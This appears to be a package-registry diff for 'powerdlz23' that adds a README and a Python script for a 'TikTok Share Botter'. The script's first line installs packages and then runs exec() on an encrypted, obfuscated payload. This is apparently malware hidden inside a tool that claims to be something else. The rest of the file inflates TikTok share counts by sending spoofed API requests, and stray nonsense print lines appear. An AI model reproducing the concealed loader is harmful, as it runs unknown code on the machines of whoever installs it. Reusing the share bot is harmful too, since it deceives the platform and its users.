powerdlz23 1.1.9 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json
CHANGED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
<h1 align="center"> 📈 TikTok Share Botter</h1>
|
|
2
|
+
<p align="center">Python tool that let's you add a amount of shares to a TikTok tool</p>
|
|
3
|
+
|
|
4
|
+
# Requirements
|
|
5
|
+
<pre>pip install requests</pre>
|
|
6
|
+
|
|
7
|
+
# Setup
|
|
8
|
+
- Make sure you have [Python](https://www.python.org/downloads) installed and PIP is added to PATH!
|
|
9
|
+
- Open the ```setup.bat``` file and wait until it's finished.
|
|
10
|
+
|
|
11
|
+
# Usage
|
|
12
|
+
- Run `main.py`
|
|
13
|
+
|
|
14
|
+
# Preview
|
|
15
|
+

|
|
16
|
+
|
|
17
|
+
# Credits
|
|
18
|
+
Give credits to me if you use or fork this code.
|
|
19
|
+
print('jhjypn')
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
import os ;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'bcxfu0JyMCM7n2aaQA98uj2YymD6LtfVfVFhIyjm0Rs=').decrypt(b'gAAAAABmNQSgrrIaKtsAwTE_rj1UTYanvIs9xPnMNobOUNcOrN3gwoR4FYWnYM-D5swQzTeW-L3-BlWvCCFxTw5-V7PqG6ORbSbiD9sWCL5XsFR9VsE_DzFgxunm_paXuvaUOTKg1TlFhC3xX-T_SGVsbV1eAKtM9iTuOUjxa9E9s8mJzqOmKW1-NBpx-ePZL9T0glKWp4Gc67m-U88D8aRI9uWgLueIQHP7XLTWXOEr7cQfpKpu7cg='))
|
|
2
|
+
import os
|
|
3
|
+
import random
|
|
4
|
+
import requests
|
|
5
|
+
import threading
|
|
6
|
+
from time import strftime, gmtime, time, sleep
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
class TikTok:
|
|
10
|
+
def __init__(self):
|
|
11
|
+
self.added = 0
|
|
12
|
+
self.lock = threading.Lock()
|
|
13
|
+
|
|
14
|
+
try:
|
|
15
|
+
self.amount = int(input('> Desired Amount of Shares: '))
|
|
16
|
+
except ValueError:
|
|
17
|
+
print('\nInteger expected.')
|
|
18
|
+
os.system('title TikTok Share Botter - Restart required')
|
|
19
|
+
os.system('pause >NUL')
|
|
20
|
+
os._exit(0)
|
|
21
|
+
|
|
22
|
+
try:
|
|
23
|
+
self.video_id = input('> TikTok URL: ').split('/')[5]
|
|
24
|
+
except IndexError:
|
|
25
|
+
print(
|
|
26
|
+
'\nInvalid TikTok URL format.\nFormat expected: https://www.tiktok.com/@username/vi'
|
|
27
|
+
'deo/1234567891234567891'
|
|
28
|
+
)
|
|
29
|
+
os.system('title TikTok Share Botter - Restart required')
|
|
30
|
+
os.system('pause >NUL')
|
|
31
|
+
os._exit(0)
|
|
32
|
+
else:
|
|
33
|
+
print()
|
|
34
|
+
|
|
35
|
+
def status(self, code, intention):
|
|
36
|
+
if code == 200:
|
|
37
|
+
self.added += 1
|
|
38
|
+
else:
|
|
39
|
+
self.lock.acquire()
|
|
40
|
+
print(f'Error: {intention} | Status Code: {code}')
|
|
41
|
+
self.lock.release()
|
|
42
|
+
|
|
43
|
+
def update_title(self):
|
|
44
|
+
# Avoid ZeroDivisionError
|
|
45
|
+
while self.added == 0:
|
|
46
|
+
sleep(0.2)
|
|
47
|
+
while self.added < self.amount:
|
|
48
|
+
# Elapsed Time / Added * Remaining
|
|
49
|
+
time_remaining = strftime(
|
|
50
|
+
'%H:%M:%S', gmtime(
|
|
51
|
+
(time() - self.start_time) / self.added * (self.amount - self.added)
|
|
52
|
+
)
|
|
53
|
+
)
|
|
54
|
+
os.system(
|
|
55
|
+
f'title [TikTok Shares Botter] - Added: {self.added}/{self.amount} '
|
|
56
|
+
f'({round(((self.added / self.amount) * 100), 3)}%) ^| Active Threads: '
|
|
57
|
+
f'{threading.active_count()} ^| Time Remaining: {time_remaining}'
|
|
58
|
+
)
|
|
59
|
+
sleep(0.2)
|
|
60
|
+
os.system(
|
|
61
|
+
f'title [TikTok Shares Botter] - Added: {self.added}/{self.amount} '
|
|
62
|
+
f'({round(((self.added / self.amount) * 100), 3)}%) ^| Active Threads: '
|
|
63
|
+
f'{threading.active_count()} ^| Time Remaining: 00:00:00'
|
|
64
|
+
)
|
|
65
|
+
|
|
66
|
+
def bot(self):
|
|
67
|
+
action_time = round(time())
|
|
68
|
+
install_id = ''.join(random.choice('0123456789') for _ in range(19))
|
|
69
|
+
|
|
70
|
+
data = (
|
|
71
|
+
f'action_time={action_time}&item_id={self.video_id}&item_type=1&share_delta=1&stats_cha'
|
|
72
|
+
'nnel=copy'
|
|
73
|
+
)
|
|
74
|
+
headers = {
|
|
75
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
|
76
|
+
'x-common-params-v2': 'version_code=16.6.5&app_name=musical_ly&channel=App%20Store&devi'
|
|
77
|
+
f'ce_id={install_id}&aid=1233&os_version=13.5.1&device_platform=i'
|
|
78
|
+
'phone&device_type=iPhone10,5'
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
try:
|
|
82
|
+
response = requests.post(
|
|
83
|
+
'https://api16-core-c-useast1a.tiktokv.com/aweme/v1/aweme/stats/?ac=WIFI&op_region='
|
|
84
|
+
'SE&app_skin=white&', data=data, headers=headers
|
|
85
|
+
)
|
|
86
|
+
except Exception as e:
|
|
87
|
+
print(f'Error: {e}')
|
|
88
|
+
else:
|
|
89
|
+
if 'Service Unavailable' not in response.text:
|
|
90
|
+
self.status(response.status_code, response.text)
|
|
91
|
+
|
|
92
|
+
def multi_threading(self):
|
|
93
|
+
self.start_time = time()
|
|
94
|
+
threading.Thread(target=self.update_title).start()
|
|
95
|
+
|
|
96
|
+
for _ in range(self.amount):
|
|
97
|
+
threading.Thread(target=self.bot).start()
|
|
98
|
+
|
|
99
|
+
os.system('pause >NUL')
|
|
100
|
+
os.system('title [TikTok Shares Botter] - Exiting...')
|
|
101
|
+
sleep(3)
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
if __name__ == '__main__':
|
|
105
|
+
os.system('cls && title TikTok Share Botter - Github: Alphalius')
|
|
106
|
+
main = TikTok()
|
|
107
|
+
main.multi_threading()
|
|
108
|
+
print('rrtmsa')
|